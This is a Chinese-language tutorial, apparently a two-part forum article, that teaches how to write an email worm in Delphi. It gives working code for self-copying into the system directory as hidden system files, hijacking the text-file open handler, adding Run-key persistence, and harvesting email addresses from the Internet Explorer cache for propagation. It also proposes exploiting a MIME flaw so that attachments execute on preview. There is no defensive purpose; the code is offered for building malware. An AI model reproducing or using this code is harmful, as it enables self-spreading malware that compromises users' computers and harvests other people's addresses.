可能大家想到病毒，第一反应就是可能是用asm来编写，或者是vbsript，而高级语言如delphi就好象不能编写一样，其实事实并不是这个样子的，只要我们花一些时间，照样可以写出简短而高效的病毒程序来，一点也不输那些用汇编写出来的程序哦。
一个病毒程序首先要短小，我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道，如果在uses里面加入forms,classes.....等就会使目标文件非常的大，所以，在我们的程序里，我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数，比如对文件的操作，对字符串的操作，如果用自己的程序来代替，目标文件会更加的小)
首先，我们知道，一个病毒程序一般都分下面三个模块：
①保护模块；
②感染模块；
③发作模块。
下面我们就从这三个模块开始，分别实现他们的代码。
一)保护模块。
一般，我们都是把自身拷贝到系统的一些目录里，比如%systemroot%
那么，我们首先要取得这些特定的目录的路径
sdk里面给我们提供了一个这样的函数GetSystemDirectory
UINT GetSystemDirectory(
LPTSTR lpBuffer, // 存放返回的字符串的缓冲区
UINT uSize // 上面的缓冲去的长度
);
相关的函数还有GetWindowsDirectory可以得到%windows%的路径
得到了系统的目录后，第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile
BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件的路径
LPCTSTR lpNewFileName, // 目标文件的路径
BOOL bFailIfExists // 这是一个标志，如果目标文件已经存在，是否强制覆盖
);
拷贝文件完毕后,我们来把这个文件设置为系统和隐藏，那么一般情况是看不见该文件的，
除非选取查看所有文件，以及显示受保护文件。
同样，介绍一个函数SetFileAttributes
BOOL SetFileAttributes(
LPCTSTR lpFileName, // 需要设置的文件的文件名
DWORD dwFileAttributes // 设置的值。
);
我们这里要设置为隐藏和系统，那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
下面就是最重要的，让该文件开机自动运行，我们一般都是写注册表，
首先用RegOpenKey函数来打开一个键，
1
LONG RegOpenKey(
2 HKEY hKey, // 主键，比如HKEY_LOCAL_MACHINE
3 LPCTSTR lpSubKey, // 跟随的subkey
4 PHKEY phkResult // 存放函数返回这个打开的键的句柄
5);
6//得到了HKEY后，就可以用regsetvalueex来向该键写具体的值了。
7LONG RegSetvalueEx(
8 HKEY hKey, // 这个就是刚才我们得到的句柄
9 LPCTSTR lpvalueName, // 键名的地址
10 DWORD Reserved, // 一般设置为0
11 DWORD dwType, // 我们写的键的类型，字符串为 REG_SZ
12 CONST BYTE *lpData, // 键值的地址
13 DWORD cbData // 写入的键值的长度
14);
下面，我综合上面的说明来给出一个简短的例子：
procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+'/ruin.exe'),false);
CopyFile(pchar(paramstr(0)),pchar(S+'/virus_ruin.exe'),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+'/ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+'/virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,'txtfile/shell/open/command',Hk);
value:='virus_ruin.exe %1';
RegSetvalueEx(Hk,'',0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,'Software/Microsoft/Windows/CurrentVersion/Run',Hk);
value:='ruin.exe';
RegSetvalueEx(Hk,'ruin',0,REG_SZ,@value,8);
//设置开机自动运行ruin.exe
end;
我们看上面的这个程序，就完成了自我复制，和开机自动运行，
并且关联了文本文件，这样，如果run下的键被删除，那么他打开文本文件，蠕虫文件又被激活。
不过这个样子，你就需要在你的主程序里面进行判断，如果传递的参数等于1 ，则打开该文本，
并且进行自我保护。
如：
begin
if paramcount=1 then
shellexecute(0,'open','notepad.exe',pchar(paramstr(1)),nil,sw_normal);
//其他的代码
这里，我只是给出一个简单的例子来描述出一个大概的思路，
很多地方还不完善，比如进程的隐藏，
你可以进行判断，
如果是98你可以registerserverapplication如果你是用的2000，你可以做为服务启动，
或者是插入dll，或者是用求职信的方法，开机加载一个dll,或者是win.ini
或者.......................
因为我这里只是浅谈，只给大家提供一个思路，
如果你要深入研究，推荐看看shotgun的《揭开木马的神秘面纱》。
好今天打字也累了，明天接着写！
浅谈用delphi来编写蠕虫病毒(part Ⅱ)
原创：whaoye（whaoye）
来源：whaoye@21cn.com
{
注：由于小弟水平有限，并且是小弟第一次写文章，自然难免有很多不足的地方，还请大家包涵！
如果你有什么意见和建议，也请给我来信，大家互相学习，互相探讨！
}
各位看官，我们接着上次的part Ⅰ 开始讲解！
上次我只是简单的讲解了如何进行简单的自我保护，也算是简单的完成了一个蠕虫病毒的自我保护了，
而蠕虫最重要的一个环节就是进行传染了，一般都是把自己做为邮件的附件发送出去，然后配合一些系
统的漏洞，比如mime漏洞，只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个
outlook的通讯薄里的用户，但是这样一来就不能自己控制发送的内容，也就是不能利用mime漏洞了，所以，
需要我们自己来手工的编写程序来解决这个问题。
那么就给我们编写程序提出了几个问题：
1)如何得到该电脑上的email地址。
2)如何用delphi来进行邮件的发送。（当然不能用控件了，所以只用winsock）
下面，我们首先来解决第一个问题。
一)得到电脑上的email地址
要得到电脑上的email地址，我想应该是可以从outlook的通讯薄直接得到，但是我才疏学浅，还没有搞定
这个问题，如果你有这方面的资料，还请你告诉我。于是，我们就换一种方法，我们来从IE的缓存中提取地址。
老惯例，文字不够用代码来凑，介绍几个函数：
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;
function FindNext(var F: TSearchRec): Integer;
procedure FindClose(var F: TSearchRec);
上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的，不过既然delphi为我们提供了现成
的说明，我们就利用它好了，毕竟在delphi里使用起来也方便一些。根据上面的三个函数，我们了一个函数来
搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法，如果找到的文件是目录，并且不是"."或者".."就进行递归。
好，我们还是边看代码边解释。
procedure FindFiles(StartDir: string);
var
SR: TSearchRec; //用来储存返回的文件的一些数据
IsFound: Boolean;//做为一个标志
begin
IsFound :=FindFirst(StartDir+'*.htm', faAnyFile-faDirectory, SR) = 0;
//在startdir里面查找htm文件
while IsFound do begin
//如果找到htm文件
GetEmailAddress(startdir+sr.Name);
//这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。
//注意，这里的函数 GetEmailAddress我们等一下再来描述
IsFound := FindNext(SR) = 0;
//继续查找htm文件，只到标志isfound为false
end;
FindClose(SR);
IsFound := FindFirst(StartDir+'*.*', faAnyFile, SR) = 0;
//现在是查找所有的文件
while IsFound do begin
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> '.') then
findfiles(startdir+sr.Name+'/');
//如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。
IsFound := FindNext(SR) = 0;
end;
FindClose(SR);
end;
ok，看到这里，我想聪明的你一定看到了我们的那个函数GetEmailAddress了，对了，我们就是不停的枚举
缓存中的所有文件，如果是htm文件，就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。
那下面的这个函数GetEmailAddress就很容易编写了。
我只说一说简单的原理，就是打开一个htm文件，
一次读一行文本，然后看是否有"mailto:"，
如果有，就把紧接着的字符读出来，只到出现非法字符。
不过有一点这个方法只能读作为连接的email地址，
不过也足够了。
好，大家看程序：
procedure GetEmailAddress(FileName:string);
var
F:textfile;
S:string;//用来装每次读一行的字符串
Address:string;//得到的email地址
i,Position:integer;
begin
AssignFile(F,FileName);
Reset(f);
while not Eof(f) do
begin
Address:='';
//首先清空address
Readln(f,s);
//读取一行字符串到s中
Position:=Pos('mailto:',S);
//查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改
if Position > 0 then
begin
for i:=Position+7 to length(S) do
//这里position+7里的7表示"mailto:"的长度
begin
if ((Upcase(s[i])<=#90) and (Upcase(s[i])>=#64)) or ((S[i]<=#57) and (S[i]>=#48)) or (S[i]='.') then
//判断是否有效字符
Address:=Address+S[i]
else
break;
end;
if (Address<>'') and (Pos('@',Address)<>0) then
//如果是有效地址，就把它写到列表中去。
//但是，可能这个地址以前已经存在在这个列表中，
//所以我定义了一个函数WriteAddress来判断是否存在该地址
//如果不存在，就添加到地址列表中去。
WriteAddress(Address);
end;
end;
closefile(f);
end;
现在搜索email地址只剩下最后一道工序了，那就是上面的WriteAddress函数，
用来判断地址的有效性。这个很简单，
我也不打算用什么数据结构或者算法，只是用最简便的方法来实现。
程序代码如下:
procedure WriteAddress(Address:string);
var
F:textfile;
S,Str:string;
CanWrite:boolean;
Path:array[0..255] of char;
begin
GetSystemDirectory(path,256);
//首先取得系统目录，到时候把email地址列表文件保存到这里。
Str:=Strpas(Path);
CanWrite:=true;
AssignFile(F,Str+'/maillist.lst');
if FileExists(Str+'/maillist.lst')=false then
begin
//如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。
Rewrite(F);
writeln(F,Address);
Closefile(F);
exit;
end else
begin
Reset(f);
while not Eof(F) do
begin
Readln(F,S);
if Address=S then
begin
CanWrite:=false;
break;
end;
end;
CloseFile(F);
end;
//上面用来和文件里以经存在的地址一个一个的进行效验，如果不存在就写到列表里去。
if CanWrite then
begin
Append(F);
Writeln(F,Address);
CloseFile(F);
end;
end;
当然，如同我们上面所说，我只是用最简便的方法来做，
如果你要讲究效率，当然可以进行一些改动，
比如说搜索到的地址来做一个堆，
最后把堆里所有的地址都写到列表里来就可以了。
好，现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了，
如下:
var
HK:HKEY;
IeCache:array[0..255] of char;
IeCacheLen:integer;
S:string;
begin
IeCacheLen:=256;
//设置返回值的长度
RegOpenKey(HKEY_CURRENT_USER,'Software/Microsoft/Windows/CurrentVersion/Explorer/Shell Folders/',HK);
RegQueryvalueEx(HK,'Cache',nil,nil,@IeCache,@ieCacheLen);
//读取IE缓存的路径
S:=Strpas(IeCache)+'/';
//在刚才取得的路径后面加一个'/'
FindFiles(S);
//调用我们自己写的函数
end;
调用完毕后，email地址就都保存在系统目录的maillist.lst文件中了。